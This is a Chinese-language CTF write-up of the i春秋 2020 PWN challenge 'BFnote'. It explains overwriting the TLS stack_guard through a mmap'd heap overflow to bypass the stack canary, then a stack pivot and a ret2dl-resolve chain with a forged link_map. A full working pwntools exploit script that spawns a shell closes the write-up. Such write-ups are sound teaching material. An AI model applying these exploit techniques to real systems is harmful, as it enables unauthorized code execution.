i春秋2020新春战役PWN之BFnote (修改TLS结构来bypass canary)

Levana ·
更新时间:2024-11-14
· 941 次阅读

BFnote

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

一开始处,有一个栈溢出漏洞,但是由于开启了canary保护,得想办法绕过canary。下方的堆溢出,不仔细看还发现不了,v4只有一开始被初始化,在循环里,只有i被重新赋值,v4没变,而下方又用到了v4

这题是可以绕过canary的,这就牵涉到了一个知识点。

在linux下,有一种线程局部存储(Thread Local Storage)机制,简称TLS。它主要存储着一个线程的一些全局变量。它的结构如下

typedef struct   {     void *tcb;        /* Pointer to the TCB.  Not necessarily the                  thread descriptor used by libpthread.  */     dtv_t *dtv;     void *self;       /* Pointer to the thread descriptor.  */     int multiple_threads;     int gscope_flag;     uintptr_t sysinfo;     uintptr_t stack_guard;     uintptr_t pointer_guard;     ...   } tcbhead_t;  

而我们的canary是怎么取得的呢

而gs或者fs寄存器就正好指向的是这个结构。结构里的uintptr_t stack_guard就是canary值,因此,绕过我们能利用漏洞篡改这个结构里的stack_guard值,也就可以绕过canary了。

在glibc2.23中,这个结构存储在一块mmap出的内存里,在libc.so的上方,如果是其他版本的glibc,则不一定。

如果我们能够申请一块堆到debug001的上方,利用堆溢出,便能修改到debug001,也就是能修改到TLS结构。正好,本题malloc的大小不受限制,我们只需要malloc一个很大的堆>=0x20000,malloc就会使用mmap来分配内存,正好可以分配到debug001上方。

当我们申请到了上方后,不能直接覆盖TLS结构,因为在stack_guard 变量前面的几个变量更系统调用有关,不能改了,因此我们不能覆盖,而应该单独修改stack_guard的值。那么我们可以利用下标越界溢出来修改

通过调试,计算出偏移,然后修改即可。

#mmap一个合适堆,在glibc2.23下可以分配到TLS结构上方附近   sh.sendlineafter('Give your notebook size : ',str(1024*130))   overflow_len = 0x216FC   #初始化v4   sh.sendlineafter('Give your title size : ',str(overflow_len))   sh.sendlineafter('invalid ! please re-enter :','1')   sh.sendafter('Give your title : ','a')   #绕过canary的重点在这里,将TLS里的canary覆盖为aaaa   #raw_input()   sh.sendafter('Give your note :','aaaa')  

接下来,就是一个栈溢出了。

但是在ebp上方,取ecx的值作为地址取一个值,这意味着,我们不能覆盖ebp+var_4,这也就意味着我们不能覆盖到main函数的返回地址。

由此,我们将ebp+var_4覆盖为bss的地址,这样,就可以栈迁移到bss段,然后在bss段进行ROP

然后,我们注意到本题的输出,用的是fwrite、fprintf,这使得我们很难找到合适的gadget来控制参数。并且,这些函数的空间花销很大,调用需要开辟较大的栈空间,但是我们的bss段不允许。

经过再三的思考,最终,我们用到了ret2dl-resolve来解。Ret2dl-resolve详见https://blog.csdn.net/seaaseesa/article/details/104478081,通过伪造link_map,实现任意函数,任意地址动态解析。ret2dl-resolve时,需要注意对齐。不然偏移计算会有偏差

综上,我们的exp脚本

#coding:utf8 #32位下的ret2dl-resolve,伪造link_map实现任意地址解析 from pwn import * sh = process('./BFnote',env={"LD_PRELOAD":"./libc.so.6"}) #sh = remote('123.56.85.29',6987) libc = ELF('./libc.so.6') elf = ELF('./BFnote') read_got = elf.got['read'] read_plt = elf.plt['read'] bss = 0x804A040 pop_ebp = 0x80489db leave_ret = 0x8048578 one_gadget = 0x3a80c l_addr = one_gadget - libc.sym['read'] #注意,只要是可读写的内存地址即可,调试看看就知道了 r_offset = bss + l_addr * -1 #负数需要补码 if l_addr < 0: l_addr = l_addr + 0x100000000 #栈迁移 payload = 'a'*0x3A + p32(bss+0x100) sh.sendafter('Give your description : ',payload) #dl-runtime-resolve #真正的dynsym的起始地址 dynsym_addr = 0x80481D8 #真正的dynstr的地址 dynstr = 0x80481D8 #调用dll_runtime_resolve处 plt_load = 0x8048456 #我们准备把link_map放置在bss+0x20处 fake_link_map_addr = bss + 0x600 #假的dyn_strtab fake_dyn_strtab_addr = fake_link_map_addr + 0x4 fake_dyn_strtab = p32(0) + p32(dynstr) #fake_link_map_addr + 0x8 #假的dyn_symtab,我们要让对应的dynsym里的st_value指向一个已经解析过的函数的got表 #其他字段无关紧要,所以,我们让dynsym为read_got - 0x4,这样,相当于把read_got - 0x4处开始当做一个dynsym,这样st_value正好对应了read的地址 #并且(*(sym+5))&0x03 != 0也成立 fake_dyn_symtab_addr = fake_link_map_addr + 0xC fake_dyn_symtab = p32(0) + p32(read_got - 0x4) #fake_link_map_addr + 0xC #假的dyn_rel fake_dyn_rel_addr = fake_link_map_addr + 0x14 fake_dyn_rel = p32(0) + p32(fake_link_map_addr + 0x1C) #fake_link_map_addr + 0x14 #假的rel.plt fake_rel = p32(r_offset) + p32(0x7) + p32(0) #fake_link_map_addr + 0x1C #l_addr fake_link_map = p32(l_addr) #由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中 fake_link_map += fake_dyn_strtab fake_link_map += fake_dyn_symtab fake_link_map += fake_dyn_rel fake_link_map += fake_rel fake_link_map = fake_link_map.ljust(0x34,'\x00') #dyn_strtab的指针 fake_link_map += p32(fake_dyn_strtab_addr) #dyn_strsym的指针 fake_link_map += p32(fake_dyn_symtab_addr) #fake_link_map_addr + 0x38 #存入/bin/sh字符串 fake_link_map += '/bin/sh'.ljust(0x40,'\x00') #在fake_link_map_addr + 0x7C处,是rel.plt指针 fake_link_map += p32(fake_dyn_rel_addr) #栈迁移后,我们再继续迁移一次,扩大空间,为dl-resolve做准备 payload1 = 'a'*0xDC + p32(pop_ebp) + p32(bss + 0x800) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x600) + p32(0x1000) #第一次,我们做栈迁移,同时继续调用read读取下一轮数据 sh.sendlineafter('Give your postscript : ',payload1) #mmap一个合适堆,在glibc2.23下可以分配到TLS结构上方附近 sh.sendlineafter('Give your notebook size : ',str(1024*130)) overflow_len = 0x216FC #初始化v4 sh.sendlineafter('Give your title size : ',str(overflow_len)) sh.sendlineafter('invalid ! please re-enter :','1') sh.sendafter('Give your title : ','a') #绕过canary的重点在这里,将TLS里的canary覆盖为aaaa #raw_input() sh.sendafter('Give your note :','aaaa') #第二次,我们发送伪造的数据结构和dl-resolve的rop rop = '\x00'*0x4 + p32(plt_load) + p32(fake_link_map_addr) + p32(0) + 'aaaa' payload = fake_link_map.ljust(0x200,'\x00') + rop sh.sendline(payload) sh.interactive()
作者:haivk



i春秋 tls

需要 登录 后方可回复, 如果你还没有账号请 注册新账号
相关文章